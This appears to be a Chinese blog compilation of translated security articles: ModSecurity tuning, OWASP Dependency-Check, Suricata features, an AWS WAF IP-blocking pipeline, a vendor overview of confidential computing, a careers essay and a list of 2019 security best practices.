ModSecurity的持久存储机制是基于磁盘的。尽管如此,它并不快,好像我们可以共享内存中的数据。因此,如果可能的话,我们可以在RAMDISK中设置和定义数据目录。modsecurity中持久存储文件可能比需要的大,因为旧条目只有在过期时才会被覆盖。默认过期时间是3600秒,这通常太多了,您可能需要几分钟的数据,所以可以使用SecCollectionTimeout指令减少默认超时。
本文:http://pub.intelligentx.net/modsecurity-performance-recommendations
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 468 次浏览
【安全工具】OWASP Dependency Check
OWASP依赖性检查
Dependency-Check是一个软件组合分析实用程序,用于识别项目依赖关系并检查是否存在任何已知的,公开披露的漏洞。目前,支持Java和.NET;为Ruby,Node.js,Python添加了额外的实验支持,并为C / C ++构建系统(autoconf和cmake)提供了有限的支持。该工具可以作为OWASP Top 10使用已知漏洞的组件的解决方案的一部分,该漏洞以前称为OWASP Top 10 2013 A9 - 使用具有已知漏洞的组件。
介绍
OWASP Top 10 2013包含一个新条目:A9-使用具有已知漏洞的组件。依赖性检查当前可用于扫描应用程序(及其依赖库)以识别任何已知的易受攻击的组件。
Jeff Williams和Arshan Dabirsiaghi在题为“不安全库存的不幸现实”的论文中很好地描述了使用已知易受攻击组件的问题。本文的要点是,作为开发社区,我们在应用程序中包含第三方库,其中包含众所周知的已发布漏洞(例如国家漏洞数据库中的漏洞)。
Dependency-check有一个命令行界面,一个Maven插件,一个Ant任务和一个Jenkins插件。核心引擎包含一系列分析器,用于检查项目依赖性,收集有关依赖项的信息(在工具中称为证据)。然后,该证据用于标识给定依赖项的公共平台枚举(CPE)。如果标识了CPE,则会在报告中列出关联的常见漏洞和披露(CVE)条目的列表。
依赖关系检查使用NIST托管的NVD数据源自动更新自身。重要说明:数据的初始下载可能需要十分钟或更长时间。如果您每七天至少运行一次该工具,则只需要下载一个小的XML文件,以使数据的本地副本保持最新。
Quick Download
Version 5.1.0
- Command Line
- Ant Task
- Maven Plugin
- Gradle Plugin
- Mac Homebrew:
brew update && brew install dependency-check
Version 4.0.2
Other Plugins
Integrations
讨论:请加入知识星球【首席架构师圈】
- 461 次浏览
【安全工具】Suricata完整的功能列表
引擎
- 网络入侵检测系统(NIDS)引擎
- 网络入侵防御系统(NIPS)引擎
- 网络安全监控(NSM)引擎
- 离线分析PCAP文件
- 使用pcap记录器记录流量
- Unix套接字模式,用于自动PCAP文件处理
- 与Linux Netfilter防火墙的高级集成
操作系统支持
- Linux
- FreeBSD
- OpenBSD
- macOS / Mac OS X
- Windows
配置
- 配置文件-人和机器可读
- 良好的注释和文档
- 支持包括其他文件
TCP / IP引擎
- Scalable flow engine
- Full IPv6 support
- Tunnel decoding
- Teredo
- IP-IP
- IP6-IP4
- IP4-IP6
- GRE
- TCP stream engine
- tracking sessions
- stream reassembly
- target based stream reassembly
- IP Defrag engine
- target based reassembly
协议解析器
- 支持数据包解码
- IPv4, IPv6, TCP, UDP, SCTP, ICMPv4, ICMPv6, GRE
- 以太网,PPP, PPPoE, Raw, SLL, VLAN, QINQ, MPLS, ERSPAN
- App层解码:
- HTTP、SSL、TLS、SMB、DCERPC、SMTP、FTP、SSH、DNS、Modbus、ENIP/CIP、DNP3、NFS、NTP、DHCP、TFTP、KRB5、IKEv2
- 使用Rust语言开发的新协议,用于安全快速的解码。
HTTP引擎
- Stateful HTTP parser built on libhtp
- HTTP request logger
- File identification, extraction and logging
- Per server settings — limits, personality, etc
- Keywords to match on (normalized) buffers:
- uri and raw uri
- headers and raw headers
- cookie
- user-agent
- request body and response body
- method, status and status code
- host
- request and response lines
- decompress flash files
- and many more
探测引擎
- Protocol keywords
- Multi-tenancy per vlan or capture device
- xbits – flowbits extension
- PCRE support
- substring capture for logging in EVE
- fast_pattern and prefilter support
- Rule profiling
- File matching
- file magic
- file size
- file name and extension
- file MD5/SHA1/SHA256 checksum — scales up to millions of checksums
- multiple pattern matcher algorithms that can be selected
- extensive tuning options
- live rule reloads — use new rules w/o restarting Suricata
- delayed rules initialization
- Lua scripting for custom detection logic
- Hyperscan integration
输出
- Eve log, all JSON alert and event output
- Lua output scripts for generating your own output formats
- Redis support
- HTTP request logging
- TLS handshake logging
- Unified2 output — compatible with Barnyard2
- Alert fast log
- Alert debug log — for rule writers
- Traffic recording using pcap logger
- Prelude support
- drop log — netfilter style log of dropped packets in IPS mode
- syslog — alert to syslog
- stats — engine stats at fixed intervals
- File logging including MD5 checksum in JSON format
- Extracted file storing to disk, with deduplication in the v2 format
- DNS request/reply logger, including TXT data
- Signal based Log rotation
- Flow logging
报警/事件过滤
- per rule alert filtering and thresholding
- global alert filtering and thresholding
- per host/subnet thresholding and rate limiting settings
包获取
- High performance capture
- AF_PACKET
- experimental eBPF and XDP modes available
- PF_RING
- NETMAP
- AF_PACKET
- Standard capture
- PCAP
- NFLOG (netfilter integration)
- IPS mode
- Netfilter based on Linux (nfqueue)
- fail open support
- ipfw based on FreeBSD and NetBSD
- AF_PACKET based on Linux
- NETMAP
- Netfilter based on Linux (nfqueue)
- Capture cards and specialized devices
- Endace
- Napatech
- Tilera
多线程
完全可配置线程——从单线程到几十个线程
预煮的“runmodes”
可选CPU关联设置
使用细粒度锁定和原子操作获得最佳性能
可选锁分析
IP的声誉
- loading of large amounts host based reputation data
- matching on reputation data in the rule language using the “iprep” keyword
- live reload support
- supports CIDR ranges
工具
- Suricata-Update for easy rule update management
- Suricata-Verify for QA during development
原文:https://suricata-ids.org/features/all-features/
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 1002 次浏览
【安全工具】将ModSecurity与AWS WAF集成
对于企业来说,通往云的旅程并不像云提供商的营销视频所描述的那么容易和简单。这篇文章详细介绍了我们旅程中某个阶段的一些背景故事。
我们首先设置由ACM管理的ELB负载平衡器w/ certificates来处理面临HTTPS流量的客户。这些流量最终代理到运行WAF的现有web服务器,然后再代理到应用服务器。
我们从列出所有的NAT网关IP地址开始,这些地址会从我们的VPC攻击我们现有的WAF,这样如果我们现有的WAF阻塞了流量,它就不会避开作为我们NAT网关的IP。在这一点上,我们仍然会403恶意请求,但我们没有办法防火墙关闭IP完全停止他们的流量。
我们在AWS WAF上测试了几家供应商提供的一些托管规则,但说实话,我们只是觉得我们不了解这个产品,不知道如何配置它来真正阻止某些东西,等等。要完全取代我们现有的WAF,学习它们的WAF需要花费更多的时间。
我们仍然有一个问题,就是想要在一段时间内阻止恶意流量,一旦攻击被检测到,就像我们可以用我们的内部基础设施一样。我们需要在流量进入VPC之前阻止它。是时候写一些胶水代码了…
因此,让我们深入研究一下我们如何通过ModSecurity和AWS WAF进一步实现这一点。ModSecurity是可用的最流行的WAF (web应用程序防火墙)之一。Apache的ModSecurity已经存在很长时间了,最新的libmodsecurity 3也是如此。x把这个功能带到Nginx。ModSecurity提供的规则集范围从免费到付费和专业维护:
我们的组织长期以来一直是Atomicorp Secure Linux (ASL)的用户,因此我们非常熟悉他们的规则集、对它们进行调优,并与他们的支持进行交互。很好的合作组织。
所以让我们来看看我们今天是如何探索事物的核心。ASL管理web服务器的Apache和ModSecurity组件。当恶意请求发生时,将一个条目输出到/var/log/httpd/audit_log,然后在/var/asl/audit/data/…下面写入一个文件,处理流程如下所示。
- 我们的web服务器监视程序跟踪audit_log,读取单个事件记录,执行一些正则表达式解析,然后通过HTTPS将事件数据发送到AWS API网关
- API网关将数据推送到SQS“shun”队列中。
- 我们将“SHUN”Lambda函数连接到SQS队列,以便立即调用它。它读取有效负载(提取ELB头,等等),与RDS数据库交互,以确定应该为给定的规则和IP的历史做什么,然后如果需要,我们更新一个绑定到黑名单规则的AWS WAF IP集。将IP放在黑名单规则的IP集中,相当于ASL运行iptables命令来避开linux防火墙级别的IP。lambda函数还将modsecurity事件有效负载的副本存储在S3中,以便以统一的方式进行进一步检查。
- 就像标准的ASL一样,您通常希望在一段时间后解除IP阻塞。因此,我们为“unshun”发送另一个SQS队列,但是这个队列被配置为有10分钟的交付延迟。
- 我们的“UNSHUN”lambda由SQS队列调用,然后决定是否应该解封IP地址。如果是这样,则从AWS WAF IP集中删除它。这个lambda函数还执行一些审计工作,以确保AWS WAF IP集中反映了我们希望基于跟踪数据库阻塞的IP。有时候,如果您有一批IP,并且必须一个接一个地重试,那么从IP集中删除一个IP将会失败。经过一些尝试和错误,使审计例程健壮。
所以我们用
- 1 API Gateway
- 1 S3 bucket
- 2 SQS queues
- 2 Lambda functions
- 1 RDS cluster (3 tables)
- AWS WAF
- ASL ModSecurity WAF
是一个基于云的WAF,具有业界领先的规则,可以在几毫秒内响应恶意请求,并在所有的esb中使用AWS WAF避开流量。
我们希望ASL能够更新他们的产品,提供与AWS WAF的直接集成来提供这个功能。在我们的理想世界,ASL会:
- 不运行本地数据库,而是所有实例都能够使用RDS Aurora MySQL数据库进行跨多个web服务器的所有事件跟踪、规则配置、IP信誉等,而无需进行glass部署。
- 通过一个简单的配置选项(当然还有分配给允许它的实例的IAM角色)管理AWS WAF IP集,将其列入黑名单
- 向SNS公开事件流信息,以便将其路由到其他各种AWS服务进行集成和分析。
我们还进行了一些实验,以构建尽可能轻的web服务器,并实现类似的阻塞功能。我们测试了下列各项:
- 从源代码编译modsecurity,在CentOS上支持JSON。这并不像你想象的那么糟糕,一旦你找到了依赖关系。
- 配置modsecurity和mlogc,直接将HTTPS PUT执行到API网关(因为它是JSON,我们可以直接进入API网关,而无需修改任何代码)
这个场景可以很好地使用OWASP核心规则集或ASL规则集,但是我们必须编写一个规则集升级引擎来自动化它,因为在那个特定的场景中我们没有完整的ASL安装。
我们做的另一件非常有效的事情是阻塞流量,其中主机头是一个数字IP地址,URL以.php结尾。这些只不过是恶意扫描器通过IP在internet上逐个查找易受攻击的PHP安装。它们会向您的服务器发出数百个请求。因此,我们现在对fire请求发出一个block,防止它们滥用我们的基础设施。
我们发现另一个有用的场景是,我们的应用程序使用403响应代码阻塞请求(这将导致生成modsecurity事件),并包含一个HTTP响应头和一个附加的原因代码。我们的shun lambda函数看到这些事件并执行块,就像触发了实际的modsecurity规则一样。这允许我们通过利用现有的管道将应用程序级安全代码绑定到AWS WAF。
在我们的跟踪数据库中,我们也完全禁止ip在他们绊倒一定数量的块之后。这些都是持续的不良行为ip,所以我们会在很长一段时间内禁止它们。
这个管道场景的操作成本是多少?最昂贵的部分将是RDS Aurora数据库集群,但大多数AWS客户至少有一个可以利用的数据库集群。其余的API网关、SQS和Lambda处理可能是< $1/mo。编写的代码量可能少于1000行。通过WAF传输的成本将根据您正在处理的请求的数量而变化。底线是这是一个廉价的解决方案。
你能把这个解扩展到多高?AWS WAF ACL可以有10条规则,如果这些规则都是黑名单规则,那么您可以同时阻塞多达100,000 (10 x 10,000)个ip。
我们和ASL的人分享了这个想法,他们都很兴奋。我非常希望在不久的将来,我们会在ASL或OSSEC中看到对此的原生支持。
原文:https://medium.com/@jonathantew/integrating-modsecurity-with-aws-waf-f26b5af4c1a8
本文:http://pub.intelligentx.net/node/573
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 82 次浏览
【机密计算】什么是机密计算?为什么它对企业很重要
什么是机密计算?
机密计算是一种使用安全飞地技术的方法,可以基于CPU供应商提供的安全特性创建可信执行环境(TEE)。TEE允许在CPU内进行加密/解密、内存和数据隔离,以及其他因CPU供应商而异的安全功能。安全飞地技术是机密计算的基础。
云端及其以外的硬件级隐私
数据泄露的风险是巨大且持久的。它威胁到云本身的信任、完整性和生存能力。计算机科学已经解决并克服了对存储中的静态数据和网络传输中的数据进行加密的问题。但棘手的问题仍然存在:如何保护内存中实际使用的数据和代码——这个目标似乎受到传统计算架构本身的限制。使用软件加密隐藏数据的尝试失败。计算硬件要求加密密钥在使用前解密并在内存中公开,从而使其容易受到黑客或内部人员的攻击。
作为回应,机密计算通过安全飞地(通常与TEE互换使用)创新了前所未有的硬件级体系结构安全方法。Confidential Computing特别关注使用中的数据的安全,通过保护内存来消除数据在处理过程中未加密时的致命缺陷。
消除风险:默认建立数据安全和隐私
只要使用中的数据暴露在外,敏感的个人身份信息(PII),财务或健康信息在云中仍然存在风险。安全实体一直在努力消除网络威胁,但这场恶作剧的游戏往往输给了高价值信息的泄露和过滤。需要的是,未经修改的工作负载应用程序和数据系统内存能够在任何环境中的任何地方运行,完全与内部和外部攻击隔离。
现在,机密计算解决了在安全空间内隔离数据和执行的问题。使用CPU的一部分作为保护区或飞地,可以创建一个可信执行环境(TEE)。安全的飞地是一个内存和CPU专用环境,它与给定主机上的所有其他用户和进程隔离,并且对它们不可见。在一个安全的飞地内,代码只能引用自身。
保护领地安全:一项重大进展,但部署起来很复杂
实施安全封包既复杂又昂贵,需要重新设计每个应用程序。飞地要求工程师和专家亲自参与,这将运营费用提高到不切实际的高度。每个芯片和云提供商都创建了自己的飞地解决方案:Intel SGX、Azure、AMD SEV、AWS Nitro Enclaves和Google VM。但是,这些努力无论多么值得,都为已经维护本地、混合和多云环境的客户创造了一个令人眼花缭乱的选择领域。他们必须学习各自的安全飞地技术,这会增加工程人员、时间、应用程序性能和成本方面的开销。
化解未经授权的内部人士和外部威胁
在不降低IT生产力的情况下加强安全性是一个令人困惑的安全挑战,云只会加剧这一挑战,暴露出对IT云平台提供商的员工和第三方承包商的控制有限的问题。内部人员获得主机访问权限来执行其工作,这会使他们过度暴露于主机数据。为了一个组织的安全,需要一个报复心强、注意力不集中或机会主义的员工。
但机密计算关闭了“可信的内部人员”数据暴露和外部威胁。它确保了独占的数据控制和硬件级别的数据风险最小化;数据保护是数据本身的组成部分,无需依赖薄弱的外围安全层。数据所有者控制数据在it计算、存储和通信的基础架构中存储、传输或使用的任何位置。
Anjuna软件:默认保护数据
Anjuna机密计算软件不需要重新设计应用程序或内核。客户无需担心芯片或云基础设施级别的底层TEE。应用程序和整个环境在公共云基础设施上创建的私有环境中无需修改即可工作。在几分钟内,Anjuna自动创建了一个隔离且坚固的硬件加密环境,应用程序在其中运行并扩展机密计算硬件技术,以保护使用中、传输中和静止的数据。
Anjuna的独特之处是什么?
多平台和多云支持。
企业无需锁定在一个硬件平台或云上。Anjuna支持Intel、AMD和AWS Nitro Enclaves平台以及本地Kubernetes Key管理解决方案,适用于任何环境:内部部署、混合或多云。无需修改即可跨任何飞地平台执行工作负载。
无性能影响。
使用Anjuna,所有TEE技术都预先调整了环境。因为应用程序不需要重新编码,所以在软件的隔离环境中运行的延迟最小。
在几分钟内大规模加强安全性。
在每个应用程序周围快速创建一个隔离的安全环境,以显著减少攻击面并保护应用程序,即使基础架构遭到破坏。
全方位包覆
通过硬件和软件的全栈加密,将保护范围从内存扩展到存储和网络。运行应用程序时,数据被隔离,任何其他实体都无法访问;内存与机器上的任何其他东西都是隔离的,包括操作系统。
透明数据共享。
Anjuna软件使企业能够通过认证安全飞地运行的硬件为正版,在分布式应用程序上使用硬件信任根。这证实了飞地内存对远程方的完整性。
探索这些机密计算用例
安全云迁移
将应用程序迁移到云,其安全姿态超过本地保护。Anjuna扩展了机密计算技术提供的强化安全功能,并使任何公共云成为敏感企业应用程序和数据最安全的地方。云经济和强大的安全性之间不再妥协。
数据库保护
即使是安全的数据库也会在内存中存储未加密和公开的数据。Anjuna确保数据库及其数据在隔离的私有环境的安全范围内运行。通过加密和物理方式将数据与恶意进程和不良参与者隔离,实际上消除了数据泄露或渗出的可能性。
数据保护
Anjuna提供了最强大、最完整的数据安全和隐私控制。创建、处理、存储和联网的敏感数据受到基于硬件的零信任保护的保护,在整个生命周期中保护PII免受内部人员和不良行为者的侵害。数据默认受保护,包括密钥、PII、PHI、PCI、IP、专有算法、商业机密等。
加密MPC和区块链保护
见Anjuna首席技术官兼联合创始人Yan Michalevsky,讨论区块链应用的安全飞地、加密密钥和基础设施的安全存储,以及区块链和加密货币的挑战。Anjuna为加密公司保护MPC应用程序、数字资产、数字钱包、托管交易所、NFT和AI/ML算法。
密钥管理系统(KMS)
有了机密计算,您现在可以现代化和扩展KMS功能,并禁止访问在隔离环境中运行的KMS应用程序。Anjuna与HashiCorp和Venafi合作,保护密钥和机密,甚至防止具有root访问权限的攻击者获取身份验证凭据。
强化的DevSecOps
DevSecOps管道的手动安全和审计流程可能是软件供应链受损的主要风险向量。这些缓慢的劳动密集型流程可能使迅速识别管道攻击变得困难。使用Anjuna在安全的飞地内运行应用程序可以提供基于硬件的软件组件完整性证明,从而更广泛地保护软件供应链。
本文:https://jiagoushi.pro/what-confidential-computing-and-why-it-important-…
- 103 次浏览
安全战略
【安全】考虑网络安全职业的4个理由
零失业率是一个有吸引力的数据。它肯定是指导顾问为学生选择网络安全作为职业的原因。毫无疑问,这是一个很好的特权,但它与一些追求网络安全职业的更有说服力的理由相比。
您不需要成为网络安全专家就能理解这是一个增长领域。网络安全已成为任何现代企业结构的关键。由于违规行为突破了头条新闻,所以每个人都清楚组织需要更多专注于网络安全的专业人士。
IT中的每个角色都有网络安全方面。专注于安全性作为您的主要角色开辟了一个选择的世界。从安全操作到风险评估,应用程序安全,调查到遵从教育工作者,网络安全中的角色与浏览器中运行的代码行一样多。
不要让那些负面的头条新闻让你失望。对于每一个Equifax,在线都有成千上万的成功交易。我们作为一个职业正在取得进步。
以下是您应该考虑从事网络安全职业生涯的四大理由 - 这也是您不应该这样做的原因之一。
1.实际上无限增长
随着范围不断扩大,网络安全呈现出最终的增长潜力 - 无论是在您的职业道路上还是在学习机会方面。
我们将安全作为自己的学科教授,但它与所有其他IT技能组合相关联。一个优秀的网络安全专业人员尽可能地了解技术和组织的工作方式。
一位伟大的网络安全专家意识到学习永远不会停止。
这是一个保持参与和挑战的巨大机会。
当安全团队开始时,他们是从“万事通”类型构建的。该学科尚未发展到足以支持法医学或应用程序安全或事件响应方面的专业。
当前的工作量迫使安全团队迅速扩大规模。愿意挑战自我的专业人士有机会接受它。
无论您是希望以首席信息安全官(CISO)角色工作还是使用全新技术,唯一能够限制您成长的是您的愿望。
这是一个令人兴奋的命题和理由足以选择一个网络安全职业。
2.种类繁多
所有增长机会都与安全专业人员必须处理的各种技术和情况有关。如果它使用1和0,它有一个网络安全组件(有些角色甚至扩展到物理安全!)。
安全专业人员有机会直接与团队合作,研究他们从未梦想过的技术和系统。从机器人到汽车,再到为数百万用户提供服务的网站,品种几乎无限。
这是一个令人兴奋的职业前景。无聊不是经常使用的词。
这个品种有一个有趣的分支:由于正确理解现代安全挑战所需的广泛技能,网络安全专业人士来自不同的背景。事实上,你的背景越多,安全专业人士就越好!
没有“正确”的方式来培养成为网络安全专业人士。
3.解决难题的能力
将技术及其变化的增长加在一起,您就会开始瞥见网络安全专业人员可以处理的各种类型的谜题。
在网络安全方面,我们依赖于一些经过验证的原则,但这些策略可以在日常工作中发生变化。而且总会有一个需要解决的新难题。
随着每一次新技术浪潮的出现,都会产生新的风险。安全专业人员的工作是识别,理解并帮助解决这些风险。当您考虑如何保护在云中运行的网站而不是保护老年患者的心脏起搏器时,这种情况会发生显着变化。
每种情况都是一个独特的难题,也是迎接挑战的新机遇。
4. 这项工作有实际影响
最后一个用例 - 为老年患者辩护心脏起搏器 - 是一个真实的用例。由于安全问题,最近大规模召回了心脏起搏器。 Equifax黑客攻击了1.45亿美国人。
网络安全很重要。它的影响超越了数字世界,进入了物理世界。
这是一个可怕而令人兴奋的前景,也是一个突出其重要性的前景。
如果您想处理具有实际影响的IT问题,网络安全可能是您的纪律。
为什么不选择这条道路:感知
不犯错误。网络安全的多样性,增长机会,难题和影响加起来令人兴奋。但如果你期望职业生涯更符合好莱坞安全专业人士的介绍......再想一想。
网络安全中的绝大多数角色都不要求你在世界各地躲避子弹或在几毫秒内获得扫描结果,或者能够通过红色立即识别恶意代码(<sarcasm>感谢你,CSI:Cyber </讽刺>)。
当然,这并不意味着这些角色没有回报。他们是。他们可能不是很迷人。
开始学习,不断学习
网络安全对于强大的职业生涯具有两个关键的后勤优势:低失业率和无失业补偿。
另外,如果您选择此路径,您将始终有成长空间。您将不断学习新技能并努力学习新技术。新挑战将不断涌现,您将接触到大量新人,情境和机会。
你永远不会觉得无聊,因为新的谜题需要解决,你总是可以自豪,因为你的工作将对数字和物理世界产生积极的影响。
你还能在职业生涯中要求什么呢?
讨论:请加入知识星球【首席架构师圈】
- 41 次浏览
【安全战略】2019年12项最佳网络安全实践
你的敏感资料是否安全?
这并不夸张:任何公司都可能成为网络犯罪的受害者。有关网络攻击的报告来自政府机构、教育和医疗机构、银行、律师事务所、非营利组织和许多其他组织。
黑客、内部威胁、勒索软件和其他危险都存在。
聪明的企业正在加大对网络安全的投资,以消除风险,确保敏感数据的安全,这已经带来了首批成果。请看下面的信息图表,了解网络安全的最新趋势。
接下来的问题是:作为一名企业主,在2019年我能做些什么来保护我的数据?
上图显示,在政府机构和企业都开始加大对网络安全的投资的同时,数据泄露的数量显著下降。
不知道从哪里开始加强你的网络安全政策?我们准备告诉你网络安全的趋势和最新的技术。
以下是我们2019年的IT安全最佳实践清单:
1. 考虑生物安全
生物识别技术确保了快速认证、安全访问管理和精确的员工监控。
在提供对有价值资产的访问之前,验证用户的身份对企业来说至关重要。语音识别、指纹扫描、手掌生物识别、面部识别、行为生物识别和步态分析是识别用户是否是他们自称的人的完美选择。
使用生物识别技术提供了比密码和短信验证更安全的身份验证。这就是为什么生物识别技术已经成为多因素认证的重要组成部分。
然而,身份验证并不是生物识别的唯一用途。安全人员受益于各种生物识别驱动的工具,这些工具允许他们实时检测受损的特权帐户。
行为生物学分析用户与输入设备交互的方式。如果检测到异常行为,工具会向安全人员发送警告,以便他们能够立即做出反应。
以下是用户和实体行为分析(UEBA)系统可以使用的几种行为生物识别技术:
- 击键动态——考虑打字速度和在某些单词中出现典型错误的倾向,以创建用户行为概要文件
- 鼠标动态—跟踪鼠标点击和鼠标移动速度、节奏和样式之间的时间间隔
- 眼动生物测定-使用眼睛和注视跟踪设备来记录眼睛运动的视频和检测独特的模式
market sandmarkets对2018年的预测显示,到2023年,生物识别市场将从2018年的168亿美元增长到418亿美元。因此,请密切关注生物特征安全技术,并为您的用例选择最佳技术。
2. 形成分级的网络安全政策
为什么书面的网络安全政策如此重要?
首先,书面政策作为贵公司所有网络安全措施的正式指南。
它允许您的安全专家和员工处于同一页面,并为您提供了一种强制执行保护数据的规则的方法。然而,每个部门的工作流程可能是独特的,而且很容易被不必要的网络安全措施打乱。
虽然集中式安全策略作为整个公司的基本方针是有益的,但它不应该覆盖每个部门的每个流程。相反,允许您的部门基于中央策略创建自己的安全策略。
以这种分层的方式确定安全策略有很多好处。通过这样做,您可以考虑每个部门的需求,并确保他们的工作流和您的底线不会在安全的名义下受到损害。
伊利诺伊州政府网站提供了一个很好的网络安全政策模板,可以作为你分级管理的起点。
如果您想学习如何预防、检测和纠正内部攻击,您应该考虑构建一个内部威胁程序。
3.采用基于风险的安全方法
法规遵从性不能保护您的数据。
每个行业都有其特定的和隐藏的风险,因此关注法规遵从性和满足所有标准法规不足以保护您的敏感数据。
注意你的公司所面临的风险,以及它们如何影响你的底线。这里最好的工具是全面的风险评估。
以下是风险评估允许你做的一些最重要的事情:
识别所有有价值的资产,公司当前的网络安全状况,明智地管理你的安全策略
适当的风险评估可以让你避免许多不愉快的事情,比如因不遵守规定而被罚款,为潜在的泄漏和违规行为而付出的补救成本,以及由于流程缺失或效率低下而造成的损失。
找出网络安全的薄弱环节,并做出相应的调整。此外,请密切关注使用数据库和框架的新黑客技术,例如MITRE ATT&CK for enterprise。
全面的风险评估将帮助您优先考虑您的安全措施,并使您的策略以最佳方式服务于公司的底线。
您可以在Compliance Forge网站上找到一个风险评估工作表和评估报告的实际示例。如果你需要更多关于如何在你的公司进行风险评估的信息,请查看它。
4. 备份数据
定期备份数据,确保数据的安全性。
备份数据是近年来越来越重要的信息安全最佳实践之一。随着勒索软件的出现,对所有数据进行完整的、当前的备份可能是一种救星。
如何处理备份?您需要确保它们被彻底保护、加密并经常更新。同样重要的是,将备份任务分配给几个人,以减轻内部威胁。
美国计算机应急准备小组(US-CERT)提供了一份文件,详细说明了不同的数据备份选项。如果你想了解更多关于这个话题的信息,你应该读一读联邦调查局关于勒索软件的一篇优秀文章。
5. 物联网安全管理
今年延续了2018年以来的趋势——物联网设备越来越受欢迎。
贝恩公司预测,物联网市场将在2021年增长到约5200亿美元。然而,无论我们多么渴望看到新技术,安全总是第一位的。
物联网设备最具挑战性的地方是它们对敏感信息的访问。
安全摄像头、门铃、智能门锁、供暖系统、办公设备——所有这些你的商业网络的小部件都是潜在的接入点。
例如,一台受损的打印机可以允许恶意行为者查看正在打印或扫描的所有文档。
以下是一些企业网络安全的最佳实践:
- 进行渗透测试,了解真正的风险,并据此制定安全策略。
- 为静态和传输中的数据提供加密(端到端加密)。
- 确保正确的身份验证只允许到端点的可信连接。
- 不要使用默认的硬编码凭证:通常使用的密码在互联网上很容易找到。
- 购买安全和最新的路由器,并启用防火墙。
- 开发一个可伸缩的安全框架来支持所有物联网部署。
- 考虑实现端点安全解决方案。
6. 使用多因素身份验证
多因素身份验证(MFA)是高级安全策略的必备解决方案。
虽然这是一个基本的实现,但MFA仍然属于网络安全最佳实践。它是如此有效,以至于国家网络安全联盟甚至将MFA加入到其安全意识和教育运动中。
MFA通过添加额外的安全层帮助您保护敏感数据,使恶意行为者几乎没有机会像您一样登录。
即使恶意行为者拥有您的密码,他们仍然需要您的第二个或第三个身份验证“因素”,例如安全令牌、您的移动电话、您的指纹或您的语音。
作为一个额外的好处,MFA还允许您明确区分共享帐户的用户,从而改进访问控制。
还请阅读:双因素身份验证:类别、方法和任务
7. 处理密码安全
提到密码和安全密码处理的重要性总是值得的。
密码管理是企业安全的一个关键部分,尤其是涉及特权访问管理(PAM)时。特权帐户是网络罪犯的宝石谁试图获得访问您的敏感数据和最有价值的商业信息。
确保适当安全性的最佳方法是使用专用工具,如密码保险库和PAM解决方案。这样,您可以防止未经授权的用户访问特权帐户,同时简化员工的密码管理。
网络威胁行为者仍然使用密码喷雾攻击来窃取敏感信息,扰乱运营,损害组织的财务和声誉。
当你为你的员工设定密码要求时,以下是你应该考虑的主要技巧:
- 为一个帐户使用一个密码。
- 使用容易记住的短语,而不是由随机字符组成的短字符串。
- 使用助记符或其他个人策略来记住长密码。
- 无论多么方便,都不能互相共享凭据。
- 要求员工在一段时间后更改密码。
美国国家网络安全和通信集成中心(National Cybersecurity and Communications Integration Center)提出了一套选择和保护强密码的建议。如果你想了解更多细节,可以查看它们。
8. 使用最少特权原则
注意:有太多特权用户访问您的数据是非常危险的。
默认情况下,授予新员工所有特权允许他们访问敏感数据,即使他们不一定需要这样做。这种方法增加了内部威胁的风险,并允许黑客在您的任何员工账户受到攻击时访问敏感数据。
一个更好的解决方案是使用最小特权原则。
换句话说,为每个新帐户分配尽可能少的特权,并在必要时升级特权。当不再需要访问敏感数据时,应立即撤销所有相应的特权。
持续的特权管理可能是困难和耗时的,特别是对于大公司,但是市场上有很多访问管理解决方案可以使其变得更容易。
特别是,当您需要处理不受控制的特权时,专门化的PAM解决方案可以证明是一种救命稻草。
最小特权原则似乎类似于零信任安全模型,该模型还通过显著减少无保证的信任来降低内部威胁的风险。
零信任实践表示,只向那些已经在系统中进行了身份验证和验证的用户和设备授予访问权限。
9. 关注特权用户
拥有特权帐户的用户是公司最大的资产之一,还是对数据安全的最大威胁之一?
有特权的用户拥有所有必要的手段来窃取您的敏感数据,并且不被注意。无论你多么信任拥有特权账户的员工,任何事情都有可能发生。
你怎样才能把风险降到最低?以下是一些简单而有效的步骤:
- 通过实现最小特权原则来限制特权用户的数量。
- 确保在用户终止使用特权帐户时,立即删除特权帐户。
- 使用用户活动监视解决方案来记录在网络中采取的任何操作。
您可以查看Ponemon研究所的这份出色的报告,了解更多关于特权用户在内部威胁场景中的角色。
10. 监控对数据的第三方访问
控制第三方访问是您的安全策略的一个重要部分。
远程员工、分包商、业务合作伙伴、供应商和供应商——这只是可能远程访问您数据的人员和公司的一小部分。
第三方访问不仅会带来更高的内部攻击风险,还会为恶意软件和黑客进入您的系统打开大门。
通过第三方访问来保护您的敏感数据不受攻击的一个好方法是监视第三方操作。您可以限制第三方用户的访问范围,并知道谁确切地连接到您的网络以及为什么。
用户活动监视还应该与一次性密码结合使用,以便提供所有用户操作的完整日志记录,以便您可以检测恶意活动并在必要时进行调查。
11. 小心网络钓鱼
你们所有的员工都知道网络钓鱼吗?
值得注意的是,内部威胁不会以恶意员工告终。更常见的情况是,善意的员工无意中帮助了犯罪者,为他们提供了进入你的系统的方法。
网络攻击者使用垃圾邮件和电话等网络钓鱼技术来获取员工信息、获取他们的证书,或者用恶意软件感染系统。
你的基本防御可以很简单,只包括两个步骤:
获得一个正确配置的垃圾邮件过滤器,并确保最明显的垃圾邮件总是被阻塞。
教育你的员工流行的网络钓鱼技术和最好的处理方法。
幸运的是,教育和意识确实起了作用,人们现在对网络威胁的意识要高得多。Verizon 2018年的数据泄露调查报告强调,73%的人在2017年没有点击任何恶意邮件。他们2019年的报告显示,2018年网络钓鱼攻击的点击率只有3%。
您可以在US-CERT网站上找到更多关于网络钓鱼的信息,包括报告形式。
12. 提高员工的意识
这可能很难相信,但你的员工是保护你数据的关键。
处理员工疏忽和安全错误的一个可靠方法是教育他们为什么安全很重要:
- 提高对公司面临的网络威胁及其如何影响底线的认识。
- 向你的员工解释每项电脑安全措施的重要性。
- 展示现实生活中安全漏洞的例子,它们的后果,以及恢复过程的困难。
- 询问员工对当前公司安全体系的反馈。
- 询问员工关于如何将健壮的安全性与高效的工作流结合起来的新想法。
雇佣你的员工作为你辩护的一部分,你会发现疏忽和错误的情况将会减少。让你的员工接受适当的培训比处理意外行为造成的数据泄露要好得多。
上述网络安全最佳实践将帮助您保护您的数据和您的企业的声誉。然而,实现它们是另一个挑战。
原文:https://www.ekransystem.com/en/blog/best-cyber-security-practices
本文:https://pub.intelligentx.net/12-best-cybersecurity-practices-2019
